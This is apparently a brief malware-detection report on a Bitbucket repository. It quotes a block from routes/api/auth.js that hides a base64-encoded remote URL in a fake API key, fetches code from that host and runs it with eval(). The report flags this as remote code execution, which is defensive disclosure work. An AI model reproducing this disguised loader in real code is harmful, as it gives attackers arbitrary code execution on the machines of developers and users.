We got a ticket with another one repository with malware - https://bitbucket.org/demoplatform/demo22
# Security Analysis Report - Malware Detection
`routes/api/auth.js` (lines 21-32)
```javascript
const AUTH_API_KEY = "aHR0cHM6Ly9tZXRyaWMtYW5hbHl0aWNzLnZlcmNlbC5hcHAvYXBpL2dldE1vcmFsaXNEYXRh";
(async () => {
const proxy = (await import('node-fetch')).default;
try {
const response = await proxy(src);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const proxyInfo = await response.text();
eval(proxyInfo); // ⚠️ EXECUTES REMOTE CODE
} catch (err) {
console.error('Auth Error!', err);
}
})();
```